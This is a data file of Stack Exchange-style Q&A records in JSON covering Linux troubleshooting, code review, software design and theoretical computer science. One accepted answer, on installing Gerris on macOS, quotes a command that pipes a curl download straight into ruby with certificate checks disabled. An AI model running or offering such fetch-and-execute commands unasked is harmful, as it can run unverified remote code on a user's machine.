{  "id": "_unix.375489"  , "question": "Today morning I was browsing the internet with Chromium and it closed out of nowhere. I went to open it again but it opens very briefly (less than a second) and then it closes back again. This has never happened before.The only way I can open it back up is by completely deleting ~/.config/chromium/Default. Then I can open it back again but it closes again within a few minutes. Things I've tried:I have purged and reinstalled ChromiumI have deleted every file that was crated within the time frame that the problem started (from ~/.config/chromium/)I have tried browsing only different websites to see if it's some specific kind of website that triggers it. Apparently the website I am in doesn't make a difference.For the moment I'm using Chrome, but I really would like to get back to using Chromium.If I open Chromium with a terminal these are the messages I get (keep in mind that as far as I know the first two messages are normal and happen even when Chromium works):Gkr-Message: couldn't connect to dbus session bus: Failed to connect to socket /tmp/dbus-FvyymbKhrF: Connection refused(chromium-browser:29177): LIBDBUSMENU-GLIB-WARNING **: Unable to get session bus: Could not connect: Connection refusedReceived signal 11 SEGV_MAPERR 000000000010#0 0x7f0dc4dcc425 base::debug::StackTrace::StackTrace()#1 0x7f0dc4dcc80b <unknown>#2 0x7f0dc50f7390 <unknown>#3 0x562a8f85edc8 <unknown>#4 0x562a8f861656 <unknown>#5 0x562a8f861df9 <unknown>#6 0x562a8f862143 <unknown>#7 0x7f0dc4e47821 <unknown>#8 0x7f0dc4dcdeea base::debug::TaskAnnotator::RunTask()#9 0x7f0dc4df6e90 base::MessageLoop::RunTask()#10 0x7f0dc4df897d base::MessageLoop::DeferOrRunPendingTask()#11 0x7f0dc4df983d <unknown>#12 0x7f0dc4dfa300 base::MessagePumpLibevent::Run()#13 0x7f0dc4df5f15 base::MessageLoop::RunHandler()#14 0x7f0dc4e20628 base::RunLoop::Run()#15 0x7f0dc4e4ce36 base::Thread::ThreadMain()#16 0x7f0dc4e47726 <unknown>#17 0x7f0dc50ed6ba start_thread#18 0x7f0dae79c3dd clone  r8: 000000000000002e  r9: 0000562a912b56ec r10: 0000000000000000 r11: 00007f0dae829f50 r12: 00007f0d23ffcff0 r13: 0000000000000008 r14: 0000000000000008 r15: 00007f0d23ffceb0  di: 0000000000000000  si: 00007f0d23ffceb0  bp: 00007f0d23ffcf00  bx: 00007f0d23ffceb0  dx: 000000000000006b  ax: 0000000000000000  cx: 00007f0d0800a790  sp: 00007f0d23ffce60  ip: 0000562a8f85edc8 efl: 0000000000010206 cgf: 002b000000000033 erf: 0000000000000004 trp: 000000000000000e msk: 0000000000000000 cr2: 0000000000000010[end of stack trace]Calling _exit(1). Core file will not be generated.I'm using Linux Mint 18.1 with a 4.10 Kernel.CheersEDITAs Faheem Mitha pointed out, this could be a hardware issue, although the fact that the laptop shows no other weird behaviors kind of points to software. I will use memtest86 when I can.One other thing that I found out these files are created in ~/.config/chromium:Jul  5 10:02 SingletonSocket -> /tmp/.org.chromium.Chromium.vibNiB/SingletonSocketJul  5 10:02 SingletonLock -> NP900X3N-2368Jul  5 10:02 SingletonCookie -> 1648236092507555754And the output of file Singleton* shows thatSingletonCookie: broken symbolic link to 1648236092507555754SingletonLock:   broken symbolic link to NP900X3N-2368SingletonSocket: symbolic link to /tmp/.org.chromium.Chromium.vibNiB/SingletonSocketI don't know if they are important, but the fact that two of those links are broken and that NP300X3N is my laptop model tell me that they have something to do with the issue."  , "title": "Can't open Chromium anymore"  , "tags": "linux mint;chrome"  , "accepted_answer": "Just for completeness: it turns out this was simply a bug that got corrected after a couple of updates from the repository."  } 
{  "id": "_codereview.74668"  , "question": "Please take a look at the following Scala program and give me suggestions for improvement. I'm sure there would be plenty. This is my very first Scala code, so please don't be frustrated because of its low quality.abstract class Expression {  def eval() : List[List[String]] = this match {    case Identifier(token) => List(List(token))    case Union(exprs) => exprs.flatMap(e => e.eval)    case Sequence(exprs) => exprs.map(e => e.eval).reduceLeft(product)    case Iteration(min, max, expr) => {      val subResult = expr.eval;      (min to max toList)        .flatMap(card => List.fill(card)(subResult).foldLeft(List(List[String]()))(product))    }  }  def product(first: List[List[String]], second: List[List[String]]) : List[List[String]] = {    for { x <- first; y <- second} yield x ++ y  }}case class Identifier(token: String) extends Expressioncase class Union(subExprs: List[Expression]) extends Expressioncase class Sequence(subExprs: List[Expression]) extends Expressioncase class Iteration(minCard: Int, maxCard: Int, subExpr: Expression) extends Expressionobject App {  def main(args: Array[String]) = {    println(      Iteration(        1, 2,        Union(          List(            Identifier(cat),            Sequence(              List(                Identifier(dog),                Iteration(                  0, 1, Identifier(pig)                ),                Identifier(bird)              )            )          )        )      ).eval    )  }}"  , "title": "Scala Case Classes"  , "tags": "scala"  , "accepted_answer": "This is quite good. I have one suggestion, though:Use traits instead of abstract classes, and since probably all your data of type Expression will be defined only in this file make it a sealed trait:sealed trait Expression { // same body}Sealing a trait (or abstract class for that matter) has the advantage that whenever you'll do a pattern match over a value the compiler can tell you if you omitted a case. Also, using a trait has two advantages over abstract classes:traits can be used to express everything that an abstract class can, with little syntactic overhead (when expressing the equivalent of class parameters). While the converse is not true (you cannot inherit, or mixin, multiple abstract classes).traits are a slight performance optimization, since for any non-abstract member of a trait, the compiler literally copies those definitions in the bodies of the subclasses (not that this optimization is ever truly useful, the knowledge of how the compiler works is more important though).Second, as a response to all suggestions that you should use the OO style more, that's really a choice that depends on the situation. By using the functional design you leave yourself vulnerable to adding new data, i.e. whenever you add a new case class you have to update every pattern match,  but adding new functionality does not require you to update any of the previously defined case classes. While in OO the opposite would be true. So choosing between the two styles is really a question about leaving your code open to easy extension with respect to new data (OO), or new functionality (functional)."  } 
{  "id": "_codereview.137916"  , "question": "I need to encrypt/decrypt 2D arrays (double pointers) using AES-128/CTR using Intel TinyCrypt (written in C). The following are two helper methods to simplify the library usage. Any comments would be highly appreciated. Thanks in advance.#include <tinycrypt/constants.h>#include <tinycrypt/ctr_mode.h>#include <tinycrypt/aes.h>#define AES_128_KEY_LENGTH 16#define AES_128_CTR_LENGTH 16typedef struct aes_128_ctr_params_t{  byte key[AES_128_KEY_LENGTH];  byte ctr[AES_128_CTR_LENGTH];} aes_128_ctr_params_t;//---------------------------------------------------------------------------inline int32_t encrypt(uint8_t const * const * const plaintext,                       uint8_t * const * const cihpertext,                       size_t const height,                       size_t const width,                       aes_128_ctr_params_t params) {  //TODO: Do some validation here!  struct tc_aes_key_sched_struct sched;  uint32_t result = TC_CRYPTO_SUCCESS;  result = tc_aes128_set_encrypt_key(&sched, params.key);  if (result != TC_CRYPTO_SUCCESS)    return result;  size_t const row_size_in_bytes = sizeof(uint8_t) * width;  for (size_t row_index = 0; row_index < height; ++row_index) {    result = tc_ctr_mode(cihpertext[row_index], row_size_in_bytes,      plaintext[row_index], row_size_in_bytes, params.ctr, &sched);    if (result != TC_CRYPTO_SUCCESS)      return result;  }}//---------------------------------------------------------------------------inline int32_t decrypt(uint8_t const * const * const cihpertext,                       uint8_t * const * const plaintext,                       size_t const height,                       size_t const width,                       aes_128_ctr_params_t params) {  //TODO: Do some validation here!  struct tc_aes_key_sched_struct sched;  uint32_t result = TC_CRYPTO_SUCCESS;  result = tc_aes128_set_encrypt_key(&sched, params.key);  if (result != TC_CRYPTO_SUCCESS)    return result;  size_t const row_size_in_bytes = sizeof(uint8_t) * width;  for (size_t row_index = 0; row_index < height; ++row_index) {    result = tc_ctr_mode(plaintext[row_index], row_size_in_bytes,      cihpertext[row_index], row_size_in_bytes, params.ctr, &sched);    if (result != TC_CRYPTO_SUCCESS)      return result;  }}"  , "title": "Intel TinyCrypt: AES-128/CTR to encryption/decryption of 2D arrays"  , "tags": "c++;c;cryptography;aes"  , "accepted_answer": "I find your code a bit dense and hard to read overall.Your identifier names are compound words but all lower case.plaintextI prefer plainText others would prefer plain_text (and a lot of the code uses this second C like style). But either is preferable to your current style.This seems redundant.uint32_t result = TC_CRYPTO_SUCCESS;result = tc_aes128_set_encrypt_key(&sched, params.key);Just use one line:uint32_t result = tc_aes128_set_encrypt_key(&sched, params.key);Technically both functions exhibit undefined behavior (in C++ not sure about C). There is no return on successful completion.    if (result != TC_CRYPTO_SUCCESS)      return result;  }  // Add the following line  return result;}"  } 
{  "id": "_unix.110294"  , "question": "I have a notebook with Ubuntu/Linux. When I'm at home I plug it into my 20 monitor thats hooked up to a switch. Occasionally I need to use it remotely and the screen is so small I need to zoom in numerous times on every page. Is there a way to set zoom command into the .kshrc so it will automatically be larger? Kinda doubt it but thought I would ask."  , "title": "Need to Zoom in permanently"  , "tags": "linux"  } 
{  "id": "_unix.77723"  , "question": "In Debian Squeeze, if I right clicked on something in the Applications menu I could lock it to the top bar. I upgraded to Debian Wheezy and now if I right click it just opens the program. I'm using Virtualbox, so maybe the right click just isn't working. I also said debian gnome because it looks different than the regular gnome I know.So how can I create shortcuts in gnome 3/debian wheezy? I don't care if it's pinning it to the top bar, or locking it in the task bar (bottom). And while I'm at it, is there a way I can get a shortcut to the desktop (preferably a button, which I had in Debian squeeze). I've googled for all sorts of combinations of debian (or gnome) shortcut to desktop and debian (or gnome) pin to taskbar"  , "title": "Lock to launcher/Pin to taskbar in Debian Wheezy/Gnome (was possible in Squeeze)"  , "tags": "debian;gnome"  , "accepted_answer": "Use the Alt key together with the right-mouse.On applications that should give you the possibility to Move/Remove. On the open area of the taskbar in Add to Panel…"  } 
{  "id": "_softwareengineering.313010"  , "question": "In the language I work with, Progress OpenEdge 11.5.1, there is nothing like anonymous classes. However, the system design would really benefit the use of such classes.Is there some nice known way of constructing such classes without having them in the language specification? My thoughts goes like a class having a constructor that must be injected by the user object in a smart sense or a constructor with some key.  All ideas are welcome.Background:I have class A with one purpose: to calculate a value P. Some users of A, but not all, need a heavy machinery in order to calculate P. Hence, I would like to hide such calculations for other users in order to speed up loading of the object A."  , "title": "Alternatives to anonymous class"  , "tags": "object oriented;language design;language features"  , "accepted_answer": "You can use the Strategy Pattern to implement the various strategies to calculate P. The basic idea is that you make a class for each version of the algorithms to calculate P, they each inherit from the same interface (for instance ICalculateP). Your class A would then have a member of type ICalculateP that binds on runtime to one of the concrete classes.That way at runtime you can decide which strategy fits best with the specific situation."  } 
{  "id": "_cstheory.12012"  , "question": "An elaboration on this question, but with more constraints.The idea is the same, to find a simple, fast algorithm for k-nearest-neighbors in 2 euclidean dimensions.  The bucketing grid seems to work nicely if you can find a grid size that will suitably partition your data.  However, what if the data is not uniformly distributed, but has areas with both very high and very low density (for example, the US population), so that no fixed grid size could guarantee both enough neighbors and efficiency?  Can this method still be salvaged?If not, other suggestions would be helpful."  , "title": "Simple k-nearest-neighbor algorithm for euclidean data with highly variable density?"  , "tags": "ds.algorithms;ds.data structures;cg.comp geom;clustering;near neighbors"  } 
{  "id": "_webapps.37886"  , "question": "This bit of code will make a new blogger post.  What can I do to update (not create) an existing page (not post)?curl -v --request POST -H Content-Type: application/atom+xml \\    -H Authorization: GoogleLogin auth=$AUTH \\    http://www.blogger.com/feeds/$FEED/pages/default --data @blog_post.xml"  , "title": "Automatically updating a blogger page?"  , "tags": "blogger"  } 
{  "id": "_cs.54317"  , "question": "As a fun project, I've been working on a C# implementation of Richard Korf's - Finding Optimal Solutions to Rubik's Cube Using Pattern Databases.https://www.cs.princeton.edu/courses/archive/fall06/cos402/papers/korfrubik.pdfI actually have it working, I'm just trying to improve my solution.One thing that Korf glazes over in his paper is how he stores and indexes into the pattern databases. Ideally, I think we want to use an instance of a rubik's cube to generate an index into an array.My question is about the best way to generate this index.My solution is to generate a minimal perfect hash. This involves keeping ALL of the cubes in memory until I have discovered the entire pattern database then generating a minimal perfect hash based off of that. The MPH takes a couple hours to run depending on the pattern database size, but I only need to do it once since I save it to disk. In the end, I can throw away the cubes themselves storing only the MPH. That way I can take a randomized rubik's cube, apply the pattern, then look up the array index in the MPH to get an estimated solution length.I believe Korf and Shultz describe a better way to determine the cube's index in their 2005 paper called Large Scale Breadth-First Searchhttps://www.aaai.org/Papers/AAAI/2005/AAAI05-219.pdfThis paper describes an algorithm to generate an index based off of the lexicographical ordering of a permutation. Basically you can take the permutation {1, 2, 3} and figure that it is the smallest with an index of 0. {1, 3, 2} is next up with an index of 1 and so on.I feel like I should be able to apply this algorithm to a rubik's cube to get its index within a pattern database, but I'm having a hard time figuring out how it would work in practice.The corners only pattern database for instance contains all rubik's cubes that have had their edge stickers taken off. There are exactly 88,179,840 cubes in this set. Any corner cubie on a rubiks cube can be in one of 24 different states. The state of the 8th corner cubie can be calculated based on the other 7 so cubes in the corners only pattern database each have 7 values between 0 and 23e.g.{0, 3, 6, 9, 12, 15, 18, 21} defines the solved cube with all edge stickers removed.if I rotate the front face 90 degrees the permutation might be:{0, 3, 11, 23, 12, 15, 8, 20}Is there a way to get an index out of these sort of permutations?"  , "title": "Indexing into a pattern database - Korf's Optimal Rubik's Cube solution"  , "tags": "algorithms;permutations"  , "accepted_answer": "You don't explain what the numbers from 0 to 23 mean, but according to this answer, you can represent the state of the corners using eight pairs $(p_i,o_i)$, where $(p_0,\\ldots,p_7)$ is a permutation of $(0,\\ldots,7)$, $o_i \\in \\{0,1,2\\}$, and $o_7$ (say) is determined by $o_0,\\ldots,o_6$. In total, this gives $8! \\cdot 3^7 = 88179840$ degrees of freedom. Assuming that you can decompose your $\\{0,\\ldots,23\\}$ to pairs $(p_i,o_i)$, you can easily convert a position to an index by encoding separately the permutation $(p_0,\\ldots,p_7)$ (which the AAAI paper explains how to do) and the values $o_0,\\ldots,o_6$, which you can encode in base 3. Putting the two values together in the obvious way (for example, $3^7p + o$ or $8!o + p$), we get an index."  } 
{  "id": "_softwareengineering.251445"  , "question": "I have a classic Java webapp.  It is composed of a database (PostgreSQL), a servlet container (Tomcat) and my code (deployed on Tomcat as a *.war file).I want to package/deploy it using Docker (mostly for testing for now), but I'm unsure what would be the best way to map it.My initial idea was to have an app-in-a-box - define a container that has Java, Postgres and Tomcat on it, exposing just the http port.Further reading of the Docker docs shows that this, although possible (install and run supervisord as the single foreground process, have it start both Postgres and Tomcat) is probably not the intended usage.  Going by the spirit of the tutorials I should probably create a container for Postgres, another for Tomcat, and a data-container to hold the application code (my *.war) and database files.  This would mean 3+ containers (should the db files and *.war share the same data container?)What's the common practice here?Since I have no previous experience with Docker, what pitfalls can I expect from each approach?Is there some other approach I'm missing?"  , "title": "docker-izing a classical db-based webapp - single or multiple containers?"  , "tags": "java;virtualization;docker"  , "accepted_answer": "The recommendations I've seen is to have all-in-one container: Docker Misconceptions:Misconception: You should have only one process per Docker container!It's important to understand that it is far simpler to manage Docker  if you view it as role-based virtual machine rather than as deployable  single-purpose processes. For example, you'd build an 'app' container  that is very similar to an 'app' VM you'd create along with the init,  cron, ssh, etc processes within it. Don't try to capture every process  in its own container with a separate container for ssh, cron, app, web  server, etc.One way to think about it is to ask yourself if you'd ever need one piece running without the others. OK, maybe you'd want the DB running without the app server, but how often?"  } 
{  "id": "_softwareengineering.340220"  , "question": "I'm developing a Java software according to the object-oriented Layers architectural pattern. Every layer should be clearly separated from the rest, and provide a well-defined interface to use it's services (maybe more than one).A common example for these layers could be an architecture consisting of a request processing layer, a business logic layer and a persistence layer.However, I'm not sure how to use Java interfaces correctly to implement this structure. I guess that each layer should have it's own Java package. Should every layer contain one Java interface that defines methods to access it? Which classes implement these interfaces? Classes from the layer or classes from outside the layer? Which classes methods does an outside object use if it wants to use a layer?"  , "title": "Java Interfaces in Layers pattern"  , "tags": "java;object oriented design;layers"  , "accepted_answer": "The idea of the Layered Architecture is that each layer provides an abstraction to the previous layer, so a layer depends only on the previous layer. As an example with a Web ServiceRequest Managementpublic interface IXController {    post();    get();    delete();}public class XControler implements IXController {public XController (IXService service){}    post(){}    get(){}    delete(){}}Business Layerpublic interface IXSercice {   doSomething(); }public class XService implements IXService {    public XService (IXDao dao){}    doSomething(){}}Persistence layerpublic interface IXDao {    doSomething();}public class XDao implements IXDao {    public XDao (){}    doSomething(){}}As you may see the interfaces role is only to provide contracts between your layers, this can also be useful when using soke patterns as Factory or Dependency injection.Who access the interfaces? Whoever has a dependency on the object. Everything else is solved with SOLID principles and OOP, and you should consider using design patterns.Anything else?"  } 
{  "id": "_unix.368557"  , "question": "I had been having a big problem with the VPN connection that I was using to pass my ISP's filtering constraints against sites like Facebook or YouTube. The true problem was that some websites which are as default filtered by the ISP would show up, but not Facebook or YouTube. After spending so much of my time purging and reinstalling all I would assume to be related to my ubuntu 16.04 networking system, I suddenly and but mere chance notice the Mask value assigned to what I think is related to my VPN connection:ppp0      Link encap:Point-to-Point Protocol            inet addr:168.158.114.168  P-t-P:80.84.49.159  Mask:255.255.255.255          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1400  Metric:1          RX packets:8208 errors:0 dropped:0 overruns:0 frame:0          TX packets:7599 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:3           RX bytes:6213278 (6.2 MB)  TX bytes:1098996 (1.0 MB)To check it by myself to see if I can make my browser to view youtube, I tried the command below:sudo ifconfig ppp0 netmask 255.255.255.0refreshed, and the browser just started loading the previously unavailable web page. Now, when I disconnect from the VPN service, everything would become the same as it was before, and I should retype that command to be able to use vpn again. As there is no ppp0 value after disconnecting the vpn, i would like to ask you to help me find the file responsible for holding the values as defaults to be used by vpn service each time I connect to it.P.S: Please forgive me and my dumbness about the whole thing, But I am terribly exhausted by all the effort spent, and do not dare to add something to any of the files just to check if it works or not. Thank you very much for your help in advance."  , "title": "Having problem in finding the file to set a permanent netmask"  , "tags": "vpn;ifconfig;defaults"  } 
{  "id": "_softwareengineering.107242"  , "question": "I have a project to develop an inventory system for a medical shop. Till date, I confronted simple requirements which were fulfilled with XML as the backend db. My interaction knowledge with XML is pretty-good and I can make almost anything with XML using LINQ-TO-XML.Since, this is an inventory system, I am bit confused as to which database should I use. Can i stick with XML or proceed with SQL Server 2008. In case I use SQL Server, will I need to install the SQL Server on Client Machine as well. This is important information because SQL Server is a commercial product, hence i need to include this in my project estimation cost."  , "title": "Which database to prefer while developing a WPF medical inventory system?"  , "tags": "sql server;wpf;xml"  , "accepted_answer": "You don't need SQL Server. You can use any number of open source databases such as MySQL and PostgreSQL. There are others such as MongoDB, CouchDB, neo4j, etc, but you're not really in need of NoSQL solution (and imho, they have a little more of a learning curve as they aren't ORM friendly and still relatively new).Depending on the size of the application, I might also recommend SQLite, which is a file-based database ;) However, I'd only recommend SQLite if you don't have a large number of concurrent users or a very large dataset. See this document for further reasons as to why to and not to use SQLite.I would highly suggest not using XML for your back end solution as it isn't scalable and much more error prone than using a proper database solution.Take a look at http://sqlite.phxsoftware.com/ for a managed wrapper for SQLite.Side note: I haven't used C# in a number of years, so I may be missing something in terms of managed support outside of SQLite."  } 
{  "id": "_unix.209866"  , "question": "When doing ifup wlan0 on a system with / mounted as read-only (embedded computer), I get this error:Failed to connect to non-global ctrl_ifname: wlan0  error: Read-only file systemInternet Systems Consortium DHCP Client 4.3.1Copyright 2004-2014 Internet Systems Consortium.All rights reserved.For info, please visit https://www.isc.org/software/dhcp/can't create /var/lib/dhcp/dhclient.wlan0.leases: Read-only file systemListening on LPF/wlan0/80:1f:02:d3:42:b8Sending on   LPF/wlan0/80:1f:02:d3:42:b8Sending on   Socket/fallbackDHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 7DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 13...DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 5No DHCPOFFERS received.No working leases in persistent database - sleeping.On the other hand, when doing ifup wlan0 with / mounted as read-write, no problem, an IP is succesfully attributed.How to make DHCP work on a read-only root filesystem?# /etc/network/interfacesauto loiface lo inet loopbackauto eth0iface eth0 inet dhcpauto wlan0allow-hotplug wlan0iface wlan0 inet dhcpwpa-ssid <myssid>wpa-psk <mypasswd>"  , "title": "DHCP and read-only root filesystem"  , "tags": "networking;dhcp;readonly;etc"  } 
{  "id": "_cstheory.4988"  , "question": "Let's say we discover alien civilizations that are able to send and receive messages using an interstellar digital communications channel. (Say using modulated radio waves, laser pulses, re-positioning stars in various orbits, what have you.) Let's assume we have decided to make contact with them.Once we initiate a dialog, how would we go about establishing a communications protocol and language? What methodology would we use to agree on a basic vocabulary and ways of expressing logical ideas? Is it ad-hoc or is there some way to optimize the process of establishing a common language based on symbolic manipulations. We would want to agree on a language quickly and minimize the resources required to encode and send messages (since they're quite slow to send).Next, reciprocity: Once we have a shared language, how would we make sure that both sides reciprocate in trading secrets? That is, we don't want to be in a situation where we give away valuable technology without receiving anything in return. Can both sides prove that they posses certain technology? Is there a way to send results piecemeal, gradually, so that each side can have increasing confidence in the value of the message?"  , "title": "Best alien communication protocol?"  , "tags": "big picture;communication complexity"  , "accepted_answer": "Your first question is the topic of Brendan Juba's PhD thesis on Universal Semantic Communication. You should take a look at it, as well as some of the papers on his website.As for your second question, you might want to read about zero-knowledge proofs."  } 
{  "id": "_webapps.101087"  , "question": "I have a limited monthly bandwidth allowance. 240p is almost always good enough for me (and if there isn't any on-screen text even 144p is usually sufficient).When I'm on the YouTube.com website, it respects my preferences (well, usually; sometimes there isn't a version that low quality, when that happens it chooses a medium quality from the available range).Is there any way to force embedded clips on sites that I do not control to also respect my preferences? Quite often they present much higher resolution, and by the time I've noticed they've already buffered the rest of the clip anyway so changing manually doesn't help."  , "title": "Force low-bandwidth on embedded YouTube clips"  , "tags": "youtube"  } 
{  "id": "_unix.111041"  , "question": "I am trying to install Gerris . The website is :http://gfs.sourceforge.net/wiki/index.php/Mac_OSX_InstallationI followed the instructions. But I could not install Gerris Dependencies.I installed Xcode, Command line tools, Xquartz as the page suggests, but about brew not quite sure because of what terminal says for the steps below.As page says I make a directory. % cd% mkdir softAs page says :PathsFor installed software to be properly localized, various environment variables have to be set accordingly in ~/.bashrc% export PATH=$PATH:$HOME/soft/bin% export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/X11/lib:$HOME/soft/lib% export PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/opt/X11/lib/pkgconfig/:$HOME/soft/lib/pkgconfigNote: make sure that the file ~/.profile contains the linesource ~/.bashrcfor these changes to be taken into account.I created nano ~/.bashrc and included the lines:      % export PATH=$PATH:$HOME/soft/bin    % export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/X11/lib:$HOME/soft/lib    % export and pressed ctrl+X and then I created nano ~/.profile and include source ~/.bashrc on the last line and pressed ctrl+X.But at this stage below I stuck.    Gerris dependencies    Now that brew is installed, almost every dependency needed by gerris can be installed in just a single command line:% brew install gtkglext% brew install gnuplot% brew install gawk% brew install gsl% brew install gfortran% brew install open-mpi% brew install proj% brew install netcdf% brew install ode% brew install fftw% brew install ffmpeg --with-theora% brew install coreutils% brew install autoconf% brew install libtool% brew install automakeWhen I type     brew install gtkglextthe terminal says samires-mbp:~ samirebalta$ brew install gtkglext-bash: brew: command not foundI did ~/.bashrc and ~/.profile what is wrong I do not know?"  , "title": "Mac 10.9.1 // Gerris installation //"  , "tags": "terminal"  , "accepted_answer": "OK, there are a couple of issues. First, the lines in your .bashrc should be:export PATH=$PATH:$HOME/soft/binexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/X11/lib:$HOME/soft/libexport PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/opt/X11/lib/pkgconfig/:$HOME/soft/lib/pkgconfig    You shouldn't have the % at the beginning of each line, that's a mistake on the page you followed. The other issue is that you don't seem to have installed brew. The page you linked to includes these instructions:brew  Homebrew is a package manager that will make gerris (and  dependencies) installation smooth and manageable. To install brew,  just enter ruby -e $(curl -fsSkL raw.github.com/mxcl/homebrew/go)So, you need to run the command above in order to install brew. Once you have done so, the brew command will be available and you won't get the error you show."  } 
{  "id": "_cs.22256"  , "question": "Consider a set of $N$ nodes. There is a $N\\times N$ non-negative valued matrix $D$ where the $(i,j)$th element $d_{ij}$ gives the positive metric between node $i$ and $j$, where $i,j\\in [N]$. Thus the diagonal entries of $D$ are all zero and $d_{ij}=d_{ji}$ so $D$ is symmetric. Then there is a set of  $k$ colors. I want to assign these colors to the $N$ nodes such that the minimum  metric of a common color between any pair of nodes is maximized. So if $c(i)$ is the color assigned to $i\\in [N]$ by the assignment $a\\in A$, where $A$ is the set of all possible color assignments, we are looking for $$\\max_{a\\in A} \\min_{i,j} \\{d_{ij}:c(i)=c(j)\\}.$$Is this problem NP-hard?  If it is, what sort of reduction can be used to show that this problem is NP-hard?"  , "title": "Relaxed graph coloring, with penalties for assigning adjacent vertices the same color"  , "tags": "complexity theory;reductions;np hard;colorings"  , "accepted_answer": "Yes. Reduce from graph coloring.$D$ is given by $d_{i,j} = \\begin{cases} 0 & \\text{ if } i=j \\\\ 1 & \\text{ if } i \\text{ is adjacent to } j \\\\ 2 & \\text{ else}\\end{cases}$."  } 
{  "id": "_computerscience.5068"  , "question": "I have multiple reflection cube map that's prebaked before a scene.However I am being confused as to which one to choose.I am told I need to choose closest cube map then use it.However it is unclear to me that whether I should do that based off of per pixel or per object(object's position).I looked at Unity to get some ideas as well.Unity chooses a reflection probe based off of distance and area probe affects the object.However there is no clear do this. So I am tentative and left unsure."  , "title": "How to choose which reflection probe to use?"  , "tags": "reflection"  } 
{  "id": "_cs.57978"  , "question": "Let $$L = \\{ \\langle M \\rangle \\mid M \\text{ is a Turing machine so } A_{TM}  \\leq_m L(M) \\}$$The question is whether $L$ is in $\\mathcal{R}, \\mathcal{RE}, co-\\mathcal{RE}$ or in $\\overline{\\mathcal{RE} \\cup co-\\mathcal{RE}}$ ?I gained some progrees showing  $L \\notin co- \\mathcal{RE}$:Define reduction $f:A_{TM}\\rightarrow L$ on input $\\left\\langle M,w\\right\\rangle$ returns:if $M$ accepts $w$ return $ \\left\\langle U_{TM}\\right\\rangle $ ($L \\left(U_{TM}\\right)=A_{TM}$ so $\\left\\langle U_{TM}\\right\\rangle \\in L$)if $\\left\\langle M\\right\\rangle$ rejects $w$ return 1 (not a TM encoding hence not in L)$f$ is computable and $\\left\\langle M,w\\right\\rangle \\in A_{TM}\\iff f\\left(\\left\\langle M,w\\right\\rangle \\right)\\in L$ hence $A_{TM}\\leq_m L \\implies L\\notin co-\\mathcal{RE}$. Now I want to show that $L \\notin \\mathcal{RE}$. And I'm stuck..Notation:$A_{TM} = \\{ \\langle M,w \\rangle \\mid  M \\text{ is a TM}, w \\in L(M)\\}$$H_{TM} = \\{ \\langle M,w \\rangle \\mid  M \\text{ is a TM and $M$ halts on $w$} \\}$"  , "title": "Classify the set of all TMs whose languages from the accepting problem"  , "tags": "computability;turing machines;undecidability"  , "accepted_answer": "As suggested in the comments, the extended version of Rice's theorem clearly states this language is not in $RE$. Nevertheless, let us prove this claim via a direct reduction from a language known not to be in $RE$, let's say $$ \\overline{HP} = \\{\\langle M,w\\rangle \\mid M \\text{ doesn't halts on }w \\}$$We will show that $\\overline{HP} \\le L$ and conclude that $L \\notin RE$.The reduction will assume we have a machine that recognizes $A_{TM}$ (call it $R$) and goes as follow. Given an input $\\langle M,w\\rangle$ we construct the output string $\\langle M_w\\rangle$ which is a machine that, on input x, does:repeat the loop:1.1 run one step of $M$ on $w$1.2 run one step of $R$ on $x$1.3  if 1.1 halts - the machine $M_w$ rejects. If 1.2 accepts - the machine $M_w$ accepts.It is easy to verify this is a computable reduction. Let's just verify it is valid.Case I: $\\langle M,w\\rangle\\notin \\overline {HP}$, then eventually (say after $T$ steps)  $M$ will halt on $w$ before the computation of 1.2 concludes, thus $L(M_w)$ can be decided in less then $T$ steps and in particular it is decidable. Therefore $A_{TM} \\not\\le L(M_w)$ and thus $\\langle M_w\\rangle \\notin L$.Case II: $\\langle M,w\\rangle\\in \\overline {HP}$, then $M$ never halts on $w$, which means that only step 1.2 is relevant, which means that $M_w$ behaves in this case just like $R$. So it holds that $L(M_w) = A_{TM}$ and in particular, $A_{TM} \\le L(M_w)$. Then, $\\langle M_w \\rangle \\in L$."  } 
{  "id": "_cs.40507"  , "question": "The common examples of NP-hard problems (clique, 3-SAT, vertex cover, etc.) are of the type where we don't know whether the answer is yes or no beforehand.Suppose that we have a problem in which the we know the answer is yes, furthermore we can verify a witness in polynomial time.Can we then always find a witness in polynomial time?  Or can this search problem be NP-hard?"  , "title": "Can finding a witness be NP-hard even if we already know there is one?"  , "tags": "complexity theory;np hard;search problem"  , "accepted_answer": "TFNP is the class of multivalued functions with values that are polynomially verified and guaranteed to exist. There exists a problem in TFNP that is FNP-complete if and only if NP = co-NP, see Theorem 2.1 in:Nimrod Megiddo and Christos H. Papadimitriou. 1991. On total functions, existence theorems and computational complexity. Theor. Comput. Sci. 81, 2 (April 1991), 317-324. DOI: 10.1016/0304-3975(91)90200-L and the references [6] and [11] within. PDF available here."  } 
{  "id": "_cs.44226"  , "question": "For example, we can say we have a abstract program that, given a finite binary string as input, removes all of the zeros (i.e. 0010001101011 evaluates to 111111), which is definitely a Turing-computable function.How can a cyclic tag system compute this (which it can, by definition of it being Turing-complete) when it only halts when it reaches the empty string? The Wikipedia article gives an example of converting to a 2-tag system, but it adds an emulated halt that the original system does not have.I can't find any reference to how a cyclic tag system halts meaningfully. What is its output supposed to be? I've considered things likeNumber of steps (but then input restricts possible output without some kind of fancy encoding I can't find)The last production (but that only has a finite output range)Fixed points (which can't be detected in this system and only exist with very limited production rules and inputs)but they don't work, at least not in any way I can see. "  , "title": "How can a cyclic tag system halt with an output?"  , "tags": "computability;turing machines"  , "accepted_answer": "Neary and Woods describe an efficient simulation of Turing machines using cyclic tag systems, improving on work of Matthew Cook. Turing-completeness is a somewhat fluid and informal notion. A computing system X simulates another computing system Y if given each program in Y we can come up with a program in X such that looking at the transcript of the X-program, we can recover a transcript of the Y-program.You can look at the papers above to see what this means for cyclic tag systems. The basic idea is that when the Turing machine halts, the cyclic tag systems keeps going, forever repeating the same sequence of configurations, representing the halting configuration of the Turing machine. In this sense it can actually compute functions.In an earlier answer I noted that some computation models can only compute decision problems, in the sense that they either don't halt, or they halt with just one bit of output. In that case you can encode general function in at least two 